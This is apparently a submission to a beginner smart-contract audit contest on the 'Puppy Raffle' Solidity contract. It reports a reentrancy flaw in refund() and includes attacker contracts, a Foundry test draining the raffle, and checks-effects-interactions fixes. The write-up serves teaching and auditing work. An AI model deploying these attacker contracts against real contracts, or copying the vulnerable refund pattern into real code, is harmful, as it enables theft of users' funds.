Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy attack on refund()

Potential of reeentrancy attack on refund()

Description

On refund() function, attacker can keep doing refund (reentrancy attack) before the state variable is finished updated.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0); // <@ Doesnt follow CEI pattern
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

The event will occured everytime attacker able to refund his raffle fee

Impact:

Protocol fund is drained.


Proof of Concept

Add this contract under test page

contract ReentrancyAttacker {
PuppyRaffle victim;
constructor(PuppyRaffle _victim) {
victim = _victim;
}
function attack(address attackerAddress, uint256 fee) public payable {
address[] memory players = new address[](1);
players[0] = attackerAddress;
victim.enterRaffle{value: fee}(players);
victim.refund(0);
}
receive() external payable {
if (address(victim).balance >= 1 ether) {
victim.refund(0);
}
}
}

Add this function into existing test suite. Run forge test --match-test testReentrancy -vvv

function testReentrancy() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
uint256 fee = entranceFee;
vm.deal(address(puppyRaffle), 5 ether);
vm.deal(address(attacker), fee);
uint256 balanceBefore = address(attacker).balance;
uint256 raffleBalanceBefore = address(puppyRaffle).balance;
attacker.attack{value: fee}(address(attacker), fee);
uint256 raffleBalanceAfter = address(puppyRaffle).balance;
uint256 balanceAfter = address(attacker).balance;
console.log("Attacker balance before:", balanceBefore);
console.log("Attacker balance after:", balanceAfter);
console.log("Raffle balance before:", raffleBalanceBefore);
console.log("Raffle balance after:", raffleBalanceAfter);
assertEq(raffleBalanceAfter, 0);
}

Log output

Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testReentrancy() (gas: 428617)
Logs:
Attacker balance before: 1000000000000000000
Attacker balance after: 7000000000000000000
Raffle balance before: 5000000000000000000
Raffle balance after: 0

Recommended Mitigation

Ensure code follow CEI pattern

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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